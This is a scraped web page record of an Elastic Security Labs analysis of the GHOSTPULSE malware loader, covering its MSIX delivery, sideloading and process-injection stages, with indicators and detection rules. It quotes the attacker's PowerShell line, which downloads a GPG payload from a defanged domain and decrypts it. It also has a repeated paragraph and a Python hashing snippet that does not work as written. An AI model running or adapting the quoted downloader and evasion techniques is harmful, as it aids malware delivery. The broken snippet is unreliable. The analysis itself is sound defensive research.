MSIX executables.","image":"photo-edited-05@2x.jpg","tags":["ghostpulse","ref8207"],"body":{"raw":"\n## Update\n\nIn October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out [here](https://www.elastic.co/security-labs/tricks-and-treats).\n\n## Preamble\n\nElastic Security Labs has observed a campaign to compromise users with signed [MSIX](https://learn.microsoft.com/en-us/windows/msix/overview) application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.\n\nMSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With [App Installer](https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root), MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.\n\nIn a common attack scenario, we suspect the users are directed to download malicious MSIX packages through [compromised websites](https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates), search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we’ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image5.png)\n\nFrom the user's perspective, the “Install” button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system. \n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image10.jpg)\n\n## Malware Analysis\n\nThe GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.\n\n### Stage 0\n\nWe consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from `manojsinghnegi[.]com/2.tar.gpg`. \n\nNext, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:\n\n- `putin` - the passphrase for the GPG file\n- `--batch` - execute GPG in non-interactive mode\n- `--yes` - answer “yes” to any prompts\n- `--passphrase-fd 0` - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin\n- `--decrypt` - decrypt a file\n- `--output` - what to save the decrypted file as\n\n```\n# 1\n$url = \"https://manojsinghnegi[.]com/2.tar.gpg\"\n$outputPath = \"$env:APPDATA\\$xxx.gpg\"\nInvoke-WebRequest -Uri $url -OutFile $outputPath\n\n# 1\necho 'putin' | .$env:APPDATA\\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\\$xxx.rar $env:APPDATA\\$xxx.gpg\n```\n\nThe GPG utility is included in the malicious MSIX installer package.\n\nThe decrypted file is a tar archive containing an executable `VBoxSVC.exe` which is in reality a renamed signed `gup.exe` executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example `handoff.wav` and a mostly benign library `libcurl.dll` with one of its functions overwritten with malicious code. The PowerShell executes the binary `VBoxSVC.exe` that will side load from the current directory the malicious DLL `libcurl.dll`. By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.\n\n![File metadata of VBoxSVC.bin](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image11.png)\n\n### Stage 1\n\nThe first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the *DllEntryPoint* phase. \n\nThe process is initiated by pinpointing the base address of the malicious DLL of `libcurl.dll`, achieved through parsing the *InLoadOrderModuleList* API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.\n\n![Parsing the InLoadOrderModuleList structure](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png)\n\nNext, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the *InLoadOrderModuleList* structure within the Process Environment Block (PEB).\n\n![Stage 1 hashing algorithm](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png)\n\n``` python\n# Python code used for API hashing\ndef calculate_api_name_hash(api_name):\n value = 0\n for char in input_string:\n total = (ord(char) + value *0x1003F)\u00260xFFFFFFFF\n return value \n```\n \nBelow is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:\n\n``` c\nstruct core_stage1_IAT\n{\nvoid *kernel32_LoadLibraryW;\nvoid *kernel32_QueryPerformanceCounter;\nvoid *ntdll_module;\nvoid *kernel32_CloseHandle;\n__int64 field_20;\n__int64 field_28;\n__int64 field_30;\n__int64 field_38;\nvoid *kernel32_GetTempPathW;\nvoid *kernel32_GetModuleFileNameW;\n__int64 field_50;\n__int64 field_58;\n__int64 field_60;\nvoid *ntdll__swprintf;\n__int64 field_70;\n__int64 field_78;\n__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);\nvoid *kernel32_CreateFileW;\nvoid *kernel32_ReadFile;\nvoid *ntdll_NtQueryInformationProcess;\nvoid *kernel32_GetFileSize;\n__int64 field_A8;\nvoid *kernel32_module;\n__int64 field_B8;\nvoid *ntdll_NtDelayExecution;\n__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);\n__int64 field_D0;\nvoid *kernel32_GlobalFree;\n__int64 field_E0;\nvoid *ntdll_RtlQueryEnvironmentVariable_U;\n};\n```\n\nIt then proceeds with its operation by reading and parsing the file named `handoff.wav` from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.\n\n![Reading and decrypting the encrypted file](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image14.png)\n\nThe initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:\n\n``` c\nstruct initial_idat_chunk\n{\n DWORD size_of_chunk;\n DWORD IDAT_string;\n DWORD tag;\n DWORD xor_key;\n DWORD size_of_encrypted_blob;\n _BYTE first_chunk[];\n};\n```\n \n- **size_of_chunk**: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT. \n- **xor_key**: A 4-byte long XOR key employed for decrypting the consolidated encrypted blob after extraction\n- **size_of_encrypted_blob**: Denotes the overall size of the encrypted blob, which is stored in chunks within the file \n- **first_chunk**: Marks the start of the first chunk of data in memory\n \n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image2.png)\n\nIn the second step, the malware locates the next occurrence of IDAT and proceeds to extract the encrypted chunks that follow it which has the following format: \n\n``` c\nstruct next_idat_chunk\n{\nDWORD size_of_chunk;\nDWORD IDAT_string;\n_BYTE n_chunk[];\n};\n```\n\n- **size_of_chunk**: The malware utilizes this value, performing bits shifting to determine the chunk size to extract before the next occurrence of IDAT. \n- **n_chunk**: Marks the start of the chunk of data in memory\n\nThe malware continues extracting encrypted data chunks until it reaches the specified size_of_encrypted_blob. Subsequently, the malware proceeds to decrypt the data using the 4-byte XOR key *xor_key*.\n\nAt this stage, the data blob, which is already compressed, undergoes decompression by the malware. The decompression process utilizes the `RtlDecompressBuffer` api.\n\n![Decompression using the RtlDecompressBuffer API](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image1.png)\n \nThe malware proceeds by loading a specified library stored in its configuration, in this case, `mshtml.dll`, utilizing the *LoadLibraryW* function. Shellcode (Stage 2) contained inside the decrypted and decompressed blob of data is written to the .text section of the freshly loaded DLL and then executed.\n\nThis technique is known as “module stomping”. The following image shows the associated *VirtualProtect* API calls captured with [Elastic Defend](https://www.elastic.co/guide/en/security/current/install-endpoint.html) associated with the module stomping:\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image4.png)\n \n### Stage 2\n\nStage 2 initiates by constructing a new IAT structure and utilizing the CRC32 algorithm as the API name hashing mechanism.\nThe following is the IAT structure of stage 2:\n\n``` c\nstruct core_stage2_IAT\n{\n void *kernel32_module;\n void *ntdll_module;\n void *kernel32_CreateFileW;\n void *kernel32_WriteFile;\n void *kernel32_ReadFile;\n void *kernel32_SetFilePointer;\n void *kernel32_CloseHandle;\n void *kernel32_GlobalAlloc;\n void *kernel32_GlobalFree;\n void *kernel32_ExpandEnvironmentStringsW;\n void *kernel32_GetFileSize;\n void *kernel32_GetProcAddress;\n void *kernel32_LoadLibraryW;\n void *ntdll__swprintf;\n void *kernel32_QueryPerformanceCounter;\n void *ntdll_RtlDecompressBuffer;\n void *field_80;\n void *field_88;\n void *field_90;\n void *field_98;\n void *field_A0;\n void *ntdll_NtDelayExecution;\n void *ntdll_RtlRandom;\n void *kernel32_GetModuleFileNameW;\n void *kernel32_GetCommandLineW;\n void *field_C8;\n void *ntdll_sscanf;\n void *field_D8;\n void *ntdll_NtQueryInformationProcess;\n void *ntdll_NtQuerySystemInformation;\n void *kernel32_CreateDirectoryW;\n void *kernel32_CopyFileW;\n void *ntdll_NtClose;\n void *field_108;\n void *field_110;\n void *field_118;\n void *field_120;\n void *field_128;\n void *kernel32_SetCurrentDirectoryW;\n void *field_138;\n void *kernel32_SetEnvironmentVariableW;\n void *kernel32_CreateProcessW;\n void *kernel32_GetFileAttributesW;\n void *msvcrt_malloc;\n void *msvcrt_realloc;\n void *msvcrt_free;\n void *ntdll_RtlHashUnicodeString;\n void *field_178;\n void *field_180;\n void *kernel32_OpenMutexA;\n void *field_190;\n void *kernel32_VirtualProtect;\n void *kernel32_FlushInstructionCache;\n void *field_1A8;\n void *ntdll_NtOpenProcessToken;\n void *ntdll_NtQueryInformationToken;\n void *ntdll_RtlWalkFrameChain;\n void *field_1C8;\n void *addr_temp_file_content;\n void *addr_decrypted_file;\n};\n```\n\nConcerning NT functions, the malware reads the ntdll.dll library from disk and writes it to a dynamically allocated memory space with read, write, and execute permissions. Subsequently, it parses the loaded `ntdll.dll` library to extract the offsets of the required NT functions. These offsets are then stored within the newly built IAT structure. When the malware necessitates the execution of an NT API, it adds the API offset to the base address of `ntdll.dll` and directly invokes the API. Given that NT APIs operate at a very low level, they execute syscalls directly, which does not require the `ntdll.dll` library to be loaded in memory using the LoadLibrary API, this is done to evade userland hooks set by security products.\n\nThe following is the structure used by the malware to store NT API offsets:\n\n``` c\nstruct __unaligned __declspec(align(4)) core_stage2_nt_offsets_table\n{\n __int64 ntdll_module;\n int ZwCreateSection;\n int ZwMapViewOfSection;\n int ZwWriteVirtualMemory;\n int ZwProtectVirtualMemory;\n int NtSuspendThread;\n int ZwResumeThread;\n int ZwOpenProcess;\n int ZwGetContextThread;\n int NtSetContextThread;\n};\n```\n\nGHOSTPULSE has the ability to establish persistence, if configured to, by generating an `.lnk` file that points to the Stage 1 binary, denoted as `VBoxSVC.exe`. To achieve this, the malware leverages COM (Component Object Model) objects as part of its technique.\n\n![Persistence executed according to the configuration flag](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image6.png)\n \nIt extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value `0xA1B2D3B4`. Finally, the encrypted data is saved to a file in the user's temporary folder.\nIt extracts another sub-blob of data from the first decrypted blob of Stage 1. This data is located at a specific position in the structure. The malware then performs an XOR encryption on this sub-blob, using the result of the XOR operation between the CRC32 value of the machine's computer name and the constant value `0xA1B2D3B4`. Finally, the encrypted data is saved to a file in the user's temporary folder.\n\nThe malware then initiates a suspended child process using the executable specified in the Stage 2 configuration, which is a 32-bit `cmd.exe` in this case. It then adds an environment variable to the child process with a random name, example: `GFHZNIOWWLVYTESHRTGAVC`, pointing to the previously created temporary file. \n\nFurther, the malware proceeds by creating a section object and mapping a view of it to `mshtml.dll` in the child process using the `ZwCreateSection` and `ZwMapViewOfSection` APIs.\n\nThe legitimate `mshtml.dll` code is overwritten with the *WriteProcessMemory* API. The primary thread’s execution is then redirected to the malicious code in `mshtml.dll` with the *Wow64SetThreadContext* API as shown in the following image:\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image12.png)\n \nThe parent process promptly terminates itself.\n\n### Stage 3\n\nThe objective of GHOSTPULSE’s Stage 3 is to load and execute the final payload in another process. One interesting part of Stage 3 was that it overwrites its previously executed instructions with new instructions to make analysis difficult. It is also capable of establishing persistence using the same method described above. GHOSTPULSE executes NTDLL APIs using the \"[heaven’s gate](https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/)\" technique.\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image9.png)\n\nStage 3 starts off by constructing its own Function Import Table using CRC32 as the hashing algorithm. Additionally, it has the capability to disable redirection of the file system to WOW64, achieved through the utilization of the procedure `Wow64FsRedirection`, if configured to do so.\n\nFollowing this, Stage 3 accesses the environment variable that was set earlier, in our case `GFHZNIOWWLVYTESHRTGAVC`, retrieves the associated temporary file and proceeds to decrypt its contents.\n\n![Decrypting the temp file using the computer name and a hardcoded value](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image15.png)\n\nThe decrypted file includes both a configuration and the ultimate payload in an encrypted format. The final payload undergoes XOR decryption using a 200-byte long key stored within the configuration. The malware then parses the PE structure of the payload with a set of functions that will indicate how the payload will be injected, for example, the type of payload (DLL or executable) architecture, etc.\n\n![Decrypting the final payload](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image3.png)\n\nGHOSTPULSE employs [Process Doppelgänging](https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack), leveraging the NTFS transactions feature to inject the final payload into a new child process. The following steps illustrate the process:\n\n- Calls the `CreateTransaction` API to initial a transaction\n- Creates a transaction file with a random file name in temp folder with the `ZwCreateFile` API\n- Writes the payload to the temp file using the `ZwWriteFile` API\n- Creates a section of the transaction file with `ZwCreateSection` API\n- At this point the file is not needed anymore, the malware calls the `RollbackTransaction` API to roll the transaction back\n- GHOSTPULSE creates a suspended process with the target process path taken from it's configuration, in our sample `1msbuild.exe1`\n- It maps a view of the section to the process with the `ZwMapViewOfSection` API\n- It sets the child process thread instruction pointer to the entry point of the final payload with the `NtSetContextThread` API\n- Finally it resumes the thread with the `NtResumeThread` API\n\n![Functions used to execute process doppelgänging technique](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image8.png)\n\n### Final Payload\n\nThe final payload varies from sample to sample but is typically an information stealer. We have observed SectopRAT, Rhadamanthys, Vidar, Lumma, and NetSupport as final payloads. In SectopRAT samples, the malware first reaches out to Pastebin to retrieve the command and control address. In this case, it was `195.201.198[.]179` over TCP port `15647` as shown below:\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image7.jpg)\n\n## Configuration extractor\n\nAlongside this research, the Elastic Security Research Team has provided a [configuration extractor](https://github.com/elastic/labs-releases/blob/main/tools/ghostpulse/ghostpulse_payload_extractor.py) to allow threat researchers to continue work to discover further developments within this campaign and expand detection capabilities for our community. The extractor takes the encrypted file shipped with GHOSTPULSE as the input.\n\n![](/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image16.png)\n\n## Detection Guidance\n\nElastic Defend detects this threat with the following [behavior protection rules](https://github.com/elastic/protections-artifacts/tree/main/behavior):\n\n- DNS Query to Suspicious Top Level Domain\n- Library Load of a File Written by a Signed Binary Proxy\n- Suspicious API Call from an Unsigned DLL\n- Suspicious Memory Write to a Remote Process\n- Process Creation from Modified NTDLL\n\nThe following yara rule will also detect GHOSTPULSE loaders on disk:\n\n- [Windows.Trojan.GhostPulse](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar)\n\n## Observations\n \nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-------------|-----------------|-----------------------------|\n| 78.24.180[.]93 | ip-v4 | | Stage 0 C2 IP |\n| manojsinghnegi[.]com | domain-name | | Stage 0 C2 domain |\n| manojsinghnegi[.]com/2.tar.gpg | url | | Stage 0 C2 URL |\n| 0c01324555494c35c6bbd8babd09527bfc49a2599946f3540bb3380d7bec7a20 | sha256 | Chrome-x64.msix | Malicious MSIX |\n| ee4c788dd4a173241b60d4830db128206dcfb68e79c68796627c6d6355c1d1b8 | sha256 | Brave-x64.msix | Malicious MSIX |\n| 4283563324c083f243cf9335662ecc9f1ae102d619302c79095240f969d9d356 | sha256 | Webex.msix | Malicious MSIX |\n| eb2addefd7538cbd6c8eb42b70cafe82ff2a8210e885537cd94d410937681c61 | sha256 | new1109.ps1 | PowerShell Downloader |\n| 49e6a11453786ef9e396a9b84aeb8632f395477abc38f1862e44427982e8c7a9 | sha256 | 38190626900.rar | GHOSTPULSE tar archive |\n| Futurity Designs Ltd | Code signer | | Chrome-x64.msix code signer |\n| Fodere Titanium Limited | Code signer | | Brave-x64.msix code signer |\n| IMPERIOUS TECHNOLOGIES LIMITED | Code signer | | Webex.msix code signer |\n\n## References\n\n- [https://twitter.com/1ZRR4H/status/1699923793077055821](https://twitter.com/1ZRR4H/status/1699923793077055821)\n- [https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/](https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/)\n- [https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates](https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates)\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var n in e)a(i,n,{get:e[n],enumerable:!0})},o=(i,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of p(e))!m.call(i,r)\u0026\u0026r!==n\u0026\u0026a(i,r,{get:()=\u003ee[r],enumerable:!(s=u(e,r))||s.enumerable});return i};var b=(i,e,n)=\u003e(n=i!=null?h(g(i)):{},o(e||!i||!i.__esModule?a(n,\"default\",{value:i,enumerable:!0}):n,i)),v=i=\u003eo(a({},\"__esModule\",{value:!0}),i);var d=f((x,l)=\u003e{l.exports=_jsx_runtime});var S={};w(S,{default:()=\u003ek,frontmatter:()=\u003ey});var t=b(d()),y={title:\"GHOSTPULSE haunts victims using defense evasion bag o' tricks\",slug:\"ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks\",date:\"2023-10-27\",description:\"Elastic Security Labs reveals details of a new campaign leveraging defense evasion capabilities to infect victims with malicious MSIX executables.\",author:[{slug:\"salim-bitam\"},{slug:\"joe-desimone\"}],image:\"photo-edited-05@2x.jpg\",category:[{slug:\"attack-pattern\"},{slug:\"malware-analysis\"}],tags:[\"ghostpulse\",\"ref8207\"]};function c(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",img:\"img\",h3:\"h3\",code:\"code\",ul:\"ul\",li:\"li\",pre:\"pre\",em:\"em\",strong:\"strong\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"update\",children:\"Update\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In October 2024, we released an update to stage 2 of GHOSTPULSE that includes new evasion techniques. You can check it out \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/tricks-and-treats\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Elastic Security Labs has observed a campaign to compromise users with signed \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/msix/overview\",rel:\"nofollow\",children:\"MSIX\"}),\" application packages to gain initial access. The campaign leverages a stealthy loader we call GHOSTPULSE which decrypts and injects its final payload to evade detection.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"MSIX is a Windows app package format that developers can leverage to package, distribute, and install their applications to Windows users. With \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/msix/app-installer/app-installer-root\",rel:\"nofollow\",children:\"App Installer\"}),\", MSIX packages can be installed with a double click. This makes them a potential target for adversaries looking to compromise unsuspecting victims. However, MSIX requires access to purchased or stolen code signing certificates making them viable to groups of above-average resources.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In a common attack scenario, we suspect the users are directed to download malicious MSIX packages through \",(0,t.jsx)(e.a,{href:\"https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates\",rel:\"nofollow\",children:\"compromised websites\"}),\", search-engine optimization (SEO) techniques, or malvertising. The masquerading themes we\\u2019ve observed include installers for Chrome, Brave, Edge, Grammarly, and WebEx to highlight a few.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image5.png\",alt:\"\",width:\"666\",height:\"427\"})}),`\n`,(0,t.jsx)(e.p,{children:\"From the user's perspective, the \\u201CInstall\\u201D button appears to function as intended. No pop-ups or warnings are presented. However, a PowerShell script is covertly used to download, decrypt, and execute GHOSTPULSE on the system.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image10.jpg\",alt:\"\",width:\"1440\",height:\"648\"})}),`\n`,(0,t.jsx)(e.h2,{id:\"malware-analysis\",children:\"Malware Analysis\"}),`\n`,(0,t.jsx)(e.p,{children:\"The GHOSTPULSE loader can be broken down into 3 stages (sometimes preceded by a PowerShell script) used to execute a final payload.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"stage-0\",children:\"Stage 0\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We consider the PowerShell script dropped by the malicious MSIX installer to be the stage 0 payload. The PowerShell script is typically included in MSIX infection vectors, but not always in other GHOSTPULSE infection methods (MSI, EXE, ISO). In one sample, the PowerShell script downloads a GPG-encrypted file from \",(0,t.jsx)(e.code,{children:\"manojsinghnegi[.]com/2.tar.gpg\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Next, the PowerShell script decrypts the file using the command-line GPG utility using the following parameters:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"putin\"}),\" - the passphrase for the GPG file\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"--batch\"}),\" - execute GPG in non-interactive mode\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"--yes\"}),\" - answer \\u201Cyes\\u201D to any prompts\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"--passphrase-fd 0\"}),\" - read the passphrase from a file descriptor, 0 instructs GPG to use STDIN, which is putin\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"--decrypt\"}),\" - decrypt a file\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.code,{children:\"--output\"}),\" - what to save the decrypted file as\"]}),`\n`]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`# 1\n$url = \"https://manojsinghnegi[.]com/2.tar.gpg\"\n$outputPath = \"$env:APPDATA\\\\$xxx.gpg\"\nInvoke-WebRequest -Uri $url -OutFile $outputPath\n\n# 1\necho 'putin' | .$env:APPDATA\\\\gpg.exe --batch --yes --passphrase-fd 0 --decrypt --output $env:APPDATA\\\\$xxx.rar $env:APPDATA\\\\$xxx.gpg\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"The GPG utility is included in the malicious MSIX installer package.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The decrypted file is a tar archive containing an executable \",(0,t.jsx)(e.code,{children:\"VBoxSVC.exe\"}),\" which is in reality a renamed signed \",(0,t.jsx)(e.code,{children:\"gup.exe\"}),\" executable that is used to update Notepad++, which is vulnerable to sideloading, an encrypted file in one example \",(0,t.jsx)(e.code,{children:\"handoff.wav\"}),\" and a mostly benign library \",(0,t.jsx)(e.code,{children:\"libcurl.dll\"}),\" with one of its functions overwritten with malicious code. The PowerShell executes the binary \",(0,t.jsx)(e.code,{children:\"VBoxSVC.exe\"}),\" that will side load from the current directory the malicious DLL \",(0,t.jsx)(e.code,{children:\"libcurl.dll\"}),\". By minimizing the on-disk footprint of encrypted malicious code, the threat actor is able to evade file-based AV and ML scanning.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image11.png\",alt:\"File metadata of VBoxSVC.bin\",width:\"808\",height:\"499\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"stage-1\",children:\"Stage 1\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first stage of GHOSTPULSE is embedded within a malicious DLL that undergoes side-loading through a benign executable. Execution of the corresponding code is triggered during the \",(0,t.jsx)(e.em,{children:\"DllEntryPoint\"}),\" phase.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The process is initiated by pinpointing the base address of the malicious DLL of \",(0,t.jsx)(e.code,{children:\"libcurl.dll\"}),\", achieved through parsing the \",(0,t.jsx)(e.em,{children:\"InLoadOrderModuleList\"}),\" API. This list, residing in the Process Environment Block (PEB), systematically records information about loaded modules.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png\",alt:\"Parsing the InLoadOrderModuleList structure\",width:\"871\",height:\"470\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, GHOSTPULSE builds an Import Address Table (IAT) incorporating essential APIs. This operation involves parsing the \",(0,t.jsx)(e.em,{children:\"InLoadOrderModuleList\"}),\" structure within the Process Environment Block (PEB).\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image13.png\",alt:\"Stage 1 hashing algorithm\",width:\"871\",height:\"470\"})}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-python\",children:`# Python code used for API hashing\ndef calculate_api_name_hash(api_name):\n value = 0\n for char in input_string:\n total = (ord(char) + value *0x1003F)\u00260xFFFFFFFF\n return value \n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Below is the Stage 1 IAT structure reconstructed from the GHOSTPULSE malware sample, provided for reference:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`struct core_stage1_IAT\n{\nvoid *kernel32_LoadLibraryW;\nvoid *kernel32_QueryPerformanceCounter;\nvoid *ntdll_module;\nvoid *kernel32_CloseHandle;\n__int64 field_20;\n__int64 field_28;\n__int64 field_30;\n__int64 field_38;\nvoid *kernel32_GetTempPathW;\nvoid *kernel32_GetModuleFileNameW;\n__int64 field_50;\n__int64 field_58;\n__int64 field_60;\nvoid *ntdll__swprintf;\n__int64 field_70;\n__int64 field_78;\n__int64 (__fastcall *ntdll_RtlDecompressBuffer)(__int64, __int64, _QWORD, __int64, int, int *);\nvoid *kernel32_CreateFileW;\nvoid *kernel32_ReadFile;\nvoid *ntdll_NtQueryInformationProcess;\nvoid *kernel32_GetFileSize;\n__int64 field_A8;\nvoid *kernel32_module;\n__int64 field_B8;\nvoid *ntdll_NtDelayExecution;\n__int64 (__fastcall *kernel32_GlobalAlloc)(__int64, __int64);\n__int64 field_D0;\nvoid *kernel32_GlobalFree;\n__int64 field_E0;\nvoid *ntdll_RtlQueryEnvironmentVariable_U;\n};\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It then proceeds with its operation by reading and parsing the file named \",(0,t.jsx)(e.code,{children:\"handoff.wav\"}),\" from the current directory. This file contains an encrypted data blob divided into distinct chunks. Each chunk of data is positioned following the string IDAT. The parsing process involves the malware executing through two distinct steps.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks/image14.png\",alt:\"Reading and decrypting the encrypted file\",width:\"1059\",height:\"187\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The initial phase involves identifying the commencement of the encrypted data by searching for the IDAT string in the file, which is followed by a distinctive 4-byte tag value. If the tag corresponds to the value stored in the malware's configuration, the malware extracts the bytes of the encrypted blob. The initial structure is as follows:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:\"language-c\",children:`struct initial_idat_chunk\n{\n DWORD size_of_chunk;\n DWORD IDAT_string;\n DWORD tag;\n DWORD xor_key;\n DWORD size_of_encrypted_blob;\n _BYTE 